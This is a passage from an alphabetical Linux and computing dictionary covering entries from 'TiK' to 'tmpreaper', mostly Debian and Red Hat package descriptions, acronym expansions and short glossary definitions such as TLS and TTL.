Tcl/Tk client for the AOL Instant Messenger service From the TiK homepage (http://www.aim.aol.com/tik/): TiK is a pure Tcl/Tk 8.1 version of AOL Instant Messenger (AIM). The TiK client began its life as a scaled down version of the native Windows and Macintosh clients. However, TiK now has most of the features the native clients have, plus some extras. TiK includes a graphical buddy list display plus packages for away messages, buddy pounce, buddy ticker, and im capturing. It is very easy for end users to add new features to TiK, using Tcl/Tk. TiK is meant to give UNIX users an alternative to the Java client. This release of TiK requires Tcl/Tk 8.1 or greater, unlike the previous releases, which only required 8.0 or greater. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIL

Tech Info Library (Apple, WWW) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tilp

A TI calculator <−> PC communication program for X TiLP is a Texas Instruments calculator <−> PC communication program for Linux. It is able to use any type of link, like the original TI GRAPH−LINK (both black and grey cables), the homemade "$4 serial link", or the "$5 parallel link". It even supports the new TI GraphLink USB, using the tiglusb kernel module. See http://lpg.ticalc.org/. With TiLP, you can transfer files from your PC to your Texas Instruments calculator, and vice−versa. You can also make a screen dump, a backup, transfer a backup to the calculator, or take control of your TI from your PC, or even install a new version of AMS on your calc ! You might be interested in the tidev−modules−source package which allows you to build a set of three kernel modules. These modules are three drivers for different link cables (serial, parallel, USB) which require running TiLP with root privileges. With these modules loaded and the appropriate rights on the device nodes, this won't be necessary. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIM
: Token Interface Module (Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

time
: get time in seconds From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

time
: The GNU time command. The `time' command runs another program, then displays information about the resources used by that program, collected by the system while the program was running. You can select which information is reported and the format in which it is shown, or have `time' save the information in a file instead of display it on the screen. The resources that `time' can report on fall into the general categories of time, memory, I/O, and IPC calls. The GNU version can format the output in arbitrary ways by using a printf−style format string to include various resource measurements. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

time
: The GNU time utility runs another program, collects information about the resources used by that program while it is running and displays the results. Time can help developers optimize their programs. The resources that `time' can report on fall into the general categories of time, memory, I/O, and IPC calls. The GNU version can format the output in arbitrary ways by using a printf−style format string to include various resource measurements. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

time to live (TTL)
: A quantity of time or instances that a program will attempt to send or receive information before the data is discarded due to inactivity. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Time−sharing
: A method of allowing multiple users to share a processor by allocating each user a portion of the processor resources on a timed basis and rotating each user's processes within those time segments. (Also, see Multitasking.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

time−sharing
: A method of rotating processes that allows more than one user to have access to a computer system simultaneously. Each process is allocated a small segment of time in succession so that each user appears to have the computer to himself or hersel. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timeconfig
: The timeconfig package contains two utilities: timeconfig and setclock. Timeconfig provides a simple text mode tool for configuring the time parameters in /etc/sysconfig/clock and /etc/localtime. The set clock tool sets the hardware clock on the system to the current time stored in the system clock. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timeout
: Run a command with a time limit. timeout executes a command and imposes an elapsed time limit. When the time limit is reached, timeout sends a predefined signal to the target process. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timeoutd

Flexible user timeout daemon timeoutd enforces the time restrictions specified in /etc/timeouts. When invoked in daemon mode (without any parameters) timeoutd backgrounds itself, then scans /var/run/utmp every minute and checks /etc/timeouts for an entry which matches that user, based on: − The current day and time" − The tty that the user is currently logged in on" − The user's login ID" − Any primary or secondary groups the user is in" Written by Shane Alderton <shane@ion.apana.org.au> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TimeSys Linux/RT

TimeSys Linux provides a foundation for embedded systems with any kind of performance requirements. From non−real−time, to soft real−time, all the way to hard real−time, TimeSys Linux offers unsurpassed predictability, robustness, scalability, and is available on a variety of board/microprocessor configurations. TimeSys Linux 4.0 was released February 13, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timezone

These are configuration files that describe possible time zones. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timezoneconf

Set system timezone, date, and time Ths timezoneconf program is a debconf−based utility to allow you to set your system's timezone, its system date, and the system time. Licensed under the GPL. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timidity

MIDI to WAV converter and player From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

timidity

Software−only MIDI sequencer. A software−only MIDI sequencer. Uses GUS−compatible MIDI patch files to either play MIDI scores in real time or to convert them into .wav files. Requires no hardware specific MIDI support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Timo's Rescue CD

Timo provides an easy way to generate a rescue system on a bootable CD, which can be easily adapted to your own needs. The project has evolved into a "Debian on CD" project, so it's not only possible to use the system as a rescue CD, it is also possible to install a whole Debian system on CD. Works with other distributions as well. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tin

A full−screen easy to use Usenet newsreader. tin can read news locally (i.e. from /var/spool/news) or remotely (rtin or tin −r option) via a NNTP (Network News Transport Protocol) server. It will automatically utilize NOV (News OVerview) style index files if available locally or via the NNTP XOVER command. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tina

A curses personal information manager. Tina is a personal information manager with a curses interface. It allows the user to categorize short text items and to display the items in a particular category. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINA

Telecommunication Information Network Agent (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINA

Telecommunication Information Networking Architecture (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINAC

TINA Consortium (org., IN, TINA), "TINA−C" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINC

There Is No Cabal! (slang, Usenet, Linux, Debian) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tinc

Virtual Private Network daemon tinc is a daemon with which you can create a virtual private network (VPN). One daemon can handle multiple connections, so you can create an entire (moderately sized) VPN with only one daemon per participating computer. You need to have two kernel modules installed, on a Debian system they should already be there. If they are not, the manual will explain you how to do that. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tinfoil Hat Linux

Tinfoil Hat Linux started as a secure, single floppy, bootable Linux distribution for storing PGP keys and then encrypting, signing and wiping files. At some point it became an exercise in over−engineering. Now at version 1.0, THL is released under a BSD style license. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tint

TINT Is Not Tetris(tm) ...at least the name isn't (: As the title suggests, this is a clone of the original tetris game written by Alexey Pajitnov, Dmitry Pavlovsky, and Vadim Gerasimov. I've tried to keep the game as close to the original as possible, but there is a few differences. Nevertheless, it's probably the closest to the original that you'll ever find in the UNIX world... From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tintin++

Classic text−based MUD client Tintin++ is telnet client specialized to play MUDs (Multi−User Dungeons). It has scripting support, tab−completion, internal chat, and takes advantage of the GNU readline library. You can find a complete set of commands and features in the Tintin++ manual, in /usr/share/doc/tintin++. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINY

The website is available in English, French, Spanish, German, Portuguese and Italian. Tiny Linux is a small Linux distribution designed especially for old recycled computers. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tinyirc

A _Tiny_ IRC Client A tiny, stripped down IRC Client. Doesn't have most of the more advance commands in the ircII family of IRC Clients, nor does it have any color, but it works, and its tiny. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tinyproxy

A lightweight, non−caching, optionally anonymizing http proxy An anonymizing http proxy which is very light on system resources, ideal for smaller networks and similar situations where other proxies (such as Squid) may be overkill and/or a security risk. Tinyproxy can also be configured to anonymize http requests (allowing for exceptions on a per−header basis). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TINYTP

Tiny Transport Protocol (IRDA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tiobench

Threaded I/O bench for Linux Tiobench is a file system benchmark especially designed to test I/O performance with multiple running threads. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tip

A related or contextual item that is displayed to remind a user of a particular function or action. Tooltips usually display an explanation of a certain object's functionality in a graphical application. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIP

Terminal Interface Processor (ARPANET) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIP

Transputer Image Processing From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tipa

System for processing phonetic symbols in LaTeX TIPA is a system for processing IPA (International Phonetic Alphabet) symbols in LaTeX written by Fukui Rei. TIPA stands for either TeX IPA or Tokyo IPA and derived from the tsipa package, made in 1992 by Kobayashi Hajime, Fukui Rei and Shirakawa Shun. Among many features of TIPA, the following are the new features as compared with tsipa or any other existing systems for processing IPA symbols: * A new 256 character encoding for phonetic symbols (`T3'), which includes all the symbols and diacritics found in the recent versions of IPA and some non−IPA symbols. * Complete support of LaTeX2e. * Roman, slanted, bold, bold extended and sans serif font styles. * Easy input method in the IPA environment. * Extended macros for accents and diacritics. * A flexible system of macros for `tone letters'. * An optional package (vowel.sty) for drawing vowel diagrams. * A slightly modified set of fonts that go well when used with Times Roman and Helvetica fonts. Type 1 fonts for TIPA are also included in this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIPC

Texas Instruments Personal Computer (TI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIPHON

Telecommunications and Internet Protocol Harmonization Over Networks (ETSI, WG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tipptrainer

A program to learn touch typing This program was developed by the Tipptrainer Team <tipptrainer@reith.8m.com> who belong to the PingoS project (see http://www.pingos.schulnetz.org/) to teach children how to type computer keyboards. Languages German and English available. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIPS

Truevision Image Paint Software (TI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tirc

token's irc client Features: vi−like editor line and general usage, comfortable backscroll buffers with regex search mechanism in multiple screen regions, multiple pages that contain window regions, nickname completion, etc. TIRC doesn't have a scripting language. It is the author's belief that scripting languages do more harm by abuse than they're useful. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIS

Thai Industrial Standard From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TIS

Tools Interface Standard (SCO, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TISN

Tokyo International Science Network (network) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TITN

??? (manufacturer, France) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

titrax

A program to keep track of time. It puts up a list of projects, and the number of minutes worked on each. You click on the project you want to work on, and it starts counting on that. At the end of the day, it saves the collected data in a file, and you can use a script to process the data. "sumtitra" is one possible such script. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tix41

The Tix library for Tk, version 4.1 −− runtime package The Tix library for Tk extends Tk with new widgets like: o panned windows, o hierarchical lists, o folders, o combo boxes, o help balloons, o and many others. The Tix look and feel is really good. Additionally, Tix eases construction of mega−widget and has a full−fledged C interface as well. Version 4.1 adds even more widgets. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tixwish

Windowing shell for interpreting Tix commands. ' From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tixwish4.1

Windowing shell for interpreting Tix commands. ' From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TK

TeleKommunikation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tk

Tk is a X Windows widget set designed to work closely with the tcl scripting language. It allows you to write simple programs with full featured GUI's in only a little more time then it takes to write atext based interface. Tcl/Tk applications can also be run on Windows and Macintosh platforms. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkchooser

modular X Windows System network browser. Tkchooser is an interpreted, modular, extensible network browsing utility for X windows designed after the Macintosh Chooser. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkcvs

A graphical front−end to CVS TkCVS is a Tk based graphical interface to the CVS configuration management system. It includes facilities for providing "user friendly" names to modules and directories within the repository, and provides a facility to interactively browse the repository looking for modules and directories. Some of the features of TkCVS include: File and directory browser, with optional display of hidden files, and display of the current directory's location within the CVS tree. Push−button based check−in / check−out of CVS modules. Ability to add and delete files from the repository also using push buttons. Module tree browser, and reports showing the structure of the CVS modules tree. Individual modules or entire directory trees may be checked out using the browser. Updating of files from the repository when they change. Tagging and branching of files from the file browser, and tagging and branching of modules from the module browser. Exporting a CVS module or directory from the repository for delivery off−site. Creation of patch files between two releases of a module, or between a release and the current (head) version. Viewing of diff and status listings for currently checked out modules. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkdesk

Tk/tcl based X11 Desktop/File manager TkDesk is a graphical file manager for Unix (esp. Linux) and the X Window System. Compared with other file managers available, it offers the most complete set of file operations and services, plus gives the user the ability to configure most every aspect of TkDesk in a powerful way. TkDesk has been influenced by various other systems and file managers, such as NeXT, for laying out the file browser windows, Apple Finder, for the idea of file annotations and, shock horror, Windows 95, for some other inspirations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkdiff

A graphical "diff" utility. TkDiff is a graphical front−end for the standard Unix 'diff' utility. Its features include highlighted difference regions (with a quick overview/navigation bar) and linked scrolling of files. It provides file−merge and change−summary facilities, line number toggling (for easier cut & paste) and support for RCS/CVS/SCCS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkdvi

A TeX DVI previewer based on Tcl/Tk This program lets you look at the DVI files output by TeX. It is similar in spirit to xdvi but offers a richer user interface as well as some convenient features such as the possibility to look at `spreads' of two adjacent pages as well as a 4x4 page `overview'. This program is still in alpha test, which means that some important functionality like the ability to show included graphics is still missing, but it is quite usable as it is. Please report bugs or suggestions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkfont

A different xfontsel for displaying fonts. Tkfont allows you to view the various fonts in X11. It displays a list of fonts, you can then pick which one to display. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkgate

Event driven digital circuit simulator with Tcl/Tk TkGate is a event driven digital circuit simulator with a Tcl/Tk−based graphical editor. TkGate supports a wide range of primitive circuit elements as well as user−defined modules for hierarchical design. The distribution comes with a number of tutorial and example circuits which can be loaded through the "Help" menu. The example circuits include a simple CPU, programmed to run the Animals game. For more information, check out the online documentation at http://www−2.cs.cmu.edu/~hansen/tkgate/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkhylafax

tk interface to hylafax tkhylafax offers the following features: o Batching fax destinations o Builtin fax number database o Fast cover sheet generation o Cover sheet preview o Cover sheet ONLY transmission option o Directory browser o Fax job dequeuing made easier o Fax job scheduling made easier o Highly configurable From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkinfo

tk/tcl info browser TkInfo is a tk script to read GNU "info" files and display them. TkInfo can be used stand alone (via WISH), or embedded within an application to provide integrated, on−line help. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkinter

The Tkinter (Tk interface) program is an graphical user interface for the Python scripting language. You should install the tkinter package if you'd like to use a graphical user interface for Python programming. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkirc

Tcl/Tk based client to the Internet Relay Chat tkirc is a frontend for unix's ircII (shell−client for the Internet Relay Chat) based on Tcl/Tk. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkisem

Graphical SPARC emulator Instructional SPARC Emulator using tk. This SPARC CPU simulator has nice graphics, and is very good for learning assembly language programming. Particularly suited to the textbook "Computer Systems: Architecture, Organization, and Programming" by Arthur Maccabe. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkmail

X Window System mail reader using Tcl/Tk This is an X Window System interface to mail built using Tcl/Tk. Reading, sending, and managing mail messages can almost all be done using only the mouse (except for the body of the message, of course). TkMail writes its folders in the format of the standard unix 'mail' command. It also uses 'sendmail' commands to do the mail delivery work. Major Features: − listbox interface to messages for easy click and read − multiple viewers can be opened on different or the same folder − dynamic (at startup) menus for quick access to mail folders for reading, copying, and moving messages − button bar for quick composing, replying to, and forwarding of mail messages − built in 'biff' icon for notification of new mail on multiple folders − easy inclusion of files into message compositions with automatic uuencoding and compression, if desired − access alternate editor for compositions to send − spell check compositions using a X windows interface − reads aliases from either standard .mailrc or elm aliases.txt − easy piping of message text through unix filters − emacs−like key−bindings for text editing − emacs−like autosave − sorting of messages on any field and the ability to write out the folder physically in that order From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkman

A graphical, hypertext manual page and Texinfo browser TkMan is a graphical, hypertext manual page and Texinfo browser for UNIX. TkMan boasts hypertext links, (optional) outline view of pages with a novel information visualization mechanism called Notemarks, high quality display and unique interface to Texinfo documents, full text search among man pages, incremental and regular expression search within pages, robust yellow highlight annotations, a shortcut/hot list, lists of all pages in user configurable volumes, a comprehensive Preferences panel, man page versioning support, and unmatched online text formatting and display quality, among many other features. More information about TkMan can be found at http://tkman.sourceforge.net From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkmib

NET SNMP (Simple Network Management Protocol) MIB Browser. The NET SNMP MIB Browser allows querying the NET and other SNMP agents. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkmixer

An audio mixer with Tk interface This is a compact audio mixer for X windows featuring nice Tk interface, equipped with slidebars, mute buttons, and a configuration facility. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TKO

TeleKommunikationsOrdnung From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkpaint

Versatile bitmap/pixmap editing tool Tkpaint is an easy to use graphics utility based on the canvas widget of Tcl/Tk. It can be very useful for drawing simple to complex figures, slide presentations, graphs, and diagrams that involve geometrical shapes, arrows, text, and colors. It is also possible to insert bitmaps and gif/ppm/pgm images. There is a large variety of operations that can be performed on a group of objects: scaling, rotation, relocation, reflection, and deformation with respect to inclination. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkpgp

Tcl/Tk script that serves as a GUI shell for PGP or GnuPG. TkPGP intends to completely eliminate need to access command− line interface of PGP for UNIX. Currently most of casual activity such as signing, encrypting and decrypting is done in GUI. Key management remains a domain of command line for the time being. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkping

Perl/Tk app. − Monitor hosts on network tkping is intended primarily for system administrators and network administrators who need to detect when crucial hosts and other network nodes go down.

From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkps

X−based process management tool similar to 'top' An X−based process management tool which generates output using ps and displays it using Tcl/Tk From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkrat

Tk based MUA TkRat is a graphical Mail User Agent (MUA) which handles MIME. It is mainly written in C but the user interface is done in tcl/tk. The program currently understands unix mailboxes, POP, IMAP and mh folders. Messages are sent via SMTP or any user configured program (for example sendmail). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkseti

GUI front−end to the SETI@Home client for UNIX. TkSETI is a customizable frontend for the SETI (Search for Extra−Terrestrial Intelligence) client called SETI@Home. You will need to install the debian installation wrapper package setiathome for the SETI@Home client. TkSETI lets you monitor, start or stop the setiathome client, display statistics of how many SETI work units you helped process, among many other cool features. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tksmb

SMB (Samba and Windows) network browser This program provides you a graphical interface for browsing Windows networks. TkSmb does this by being a graphical wrapper around Samba's smbclient program. Using this program you can easily access different workgroups, hosts, and shares on it, mount this shares. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tktable

Table extension for Tcl/Tk Provides tables and matrices in Tcl/Tk From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkusr

X11 tool to manage the Self−mode of USR/3COM Message modems. TkUsr is a small program that allows you to manage the Self−mode of USR/3COM Message (Plus), Professional Message modems. It features an intelligent retrieving of data with a cache system to speed up the download. So you do not have to download the full memory to get only one fax. It should be multi−platform as it is written in Tcl/Tk. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TKV

TeleKommunikationsVerordnung From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkvnc

Displays a list of (defined) machines to start VNC to. A basic wrapper that calls xvncviewer on a machine when requested. Unless the author beats me to it, I intend to add better password handling. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkworld

a GUI to shell commands Wes's Own Real Lazy Desktop According to the README file: "The mission of tkWorld is to provide GUIs to the standard Unix utilities. All applications will have a standard look and feel, as well as provide point and click access to common command line options. Providing a common Application Interface will help beginners learn Unix, while giving advanced users easy access to the options they already know." From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkx8.2

Extended Tcl (TclX) version 8.2.0 −− TkX runtime package Extended Tcl (TclX), is a set of extensions to Tcl, the Tool Command Language invented by Dr. John Ousterhout. Tcl is a powerful, yet simple embeddable programming language. Extended Tcl is oriented towards system

programming tasks and large application development. This package contains the TclX programs and libraries depending on Tk. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkx8.3

Extended Tcl (TclX) version 8.3.0 −− TkX runtime package Extended Tcl (TclX), is a set of extensions to Tcl, the Tool Command Language invented by Dr. John Ousterhout. Tcl is a powerful, yet simple embeddable programming language. Extended Tcl is oriented towards system programming tasks and large application development. This package contains the TclX programs and libraries depending on Tk. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tkxplanet

render an image of a planet into an X window From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TL

Transform and Lighting (3D), "T&L" From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLA

Three Letter Acronym (slang) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLAP

Token ring Link Access Protocol (LAP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLB

Translation Lookaside Buffer (CPU) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLD

Top Level DOMAIN (Internet, ICANN) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLD (Top Level Domain)

The last (right−hand) part of a complete Domain Name. For example in the domain name www.matisse.net ".net" is the Top Level Domain. There are a large number of TLD's, for example .biz, .com, .edu, .gov, .info, .int, .mil, .net, .org, and a collection of two−letter TLD's corresponding to the standard two−letter country codes, for example, .us, .ca, .jp, etc. From Matisse
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tleds

Blinks keyboard LEDs indicating TX and RX network packets. These programs help you monitor network traffic. They blink Scroll−Lock LED (Light Emitting Diode) when a network packet leaves the machine, and Num−Lock LED when one is received. WARNING: On some systems this has been known to render part or all of the keyboard unusable, this is rare and usually only happens on a few laptops and keyboards with overly long or old cables.. (This includes the IBM thinkpad 600 laptop, and the HP Omnibook XE2) From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLI

Transport Layer Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLI

Transport Level Interface (AT&T) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLN

Trunk Line Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tload

graphic representation of system load average From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLP

Transmission Level Point From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLS

See transport layer security (TLS). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLS

stands for Transport Layer Security and is the protocol which almost all security enabled browsers use. It was designed by Netscape and was formerly known SSL or Secure Sockets Layer. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLS

Thread Local Storage From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLS

Transport Layer Security [protocol] (SSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLSP

Transport Layer Security Protocol (ISO) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLV

Type − Length − Value From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TLVTTL

Terminated Low Voltage Transistor Transistor Logic From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

TeleMail (BBS, Berlin, Germany, DFUe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

Terminal Manager (Bull, DSA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

Tools for MIME (EMACS, GNU, MIME) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

TradeMark From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

Traffic Management From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

Transaction Monitor (TP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TM

Turing Machine From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMA

Thinfilm Micromirror Array From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmail

Mail Delivery Module From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmake

a cross−platform makefile tool tmake is an easy−to−use tool from Trolltech to create and maintain makefiles for software projects. It can be a painful task to manage makefiles manually, especially if you develop for more than one platform or use more than one compiler. tmake automates and streamlines this process and lets you spend your valuable time on writing code, not makefiles. tmake is mainly used to generate makefiles for applications that use the Qt toolkit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMC
Taiwan Mycomp Corporation (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMC
Thinking Machines Corporation (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMC
Traffic Message Channel From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMCC
Time−Multiplexed Communication Channel From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmda
Tagged Message Delivery Agent TMDA is an OSI certified software application designed to significantly reduce (or eliminate) the amount of SPAM/UCE (junk−mail) you receive by using unique, cryptographically enhanced (tagged) e−mail addresses. TMDA can both filter your incoming e−mail, and tag your outgoing address. TMDA was originally based upon a Perl script written by Thomas Erskine called Tagged Message Sender (TMS), but has since evolved into a significantly larger and more featureful application. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMDB
Tivoli Management Data Base (Tivoli, DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmdns
Tmdns is tiny/trivial Multicast DNS Responder for Linux. It should allow you to take part in a zeroconf environment. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMDS
Transition Minimized Differential Signaling (VESA, LCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMDS
Transmission Minimized Digital Signal From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TME
Telocator Message Entry [protocol] (SNPP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TME
Tivoli Management Environment (Tivoli) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMF
Tivoli Management Framework (Tivoli) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMF
Transaction Monitoring Facility (DB, Tandem) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMG
TestMusterGenerator (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMG
The Master Genealogist From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMN

Telecommunication Management Network (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMOUT

If set to a value greater than zero, the value is interpreted as the number of seconds to wait for input after issuing the primary prompt. Bash terminates after waiting for that number of seconds if input does not arrive. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMP

Test Management Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMPDU

Test Management Protocol Data Unit (ISO 9646−1, PDU), "TM−PDU" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmpreaper

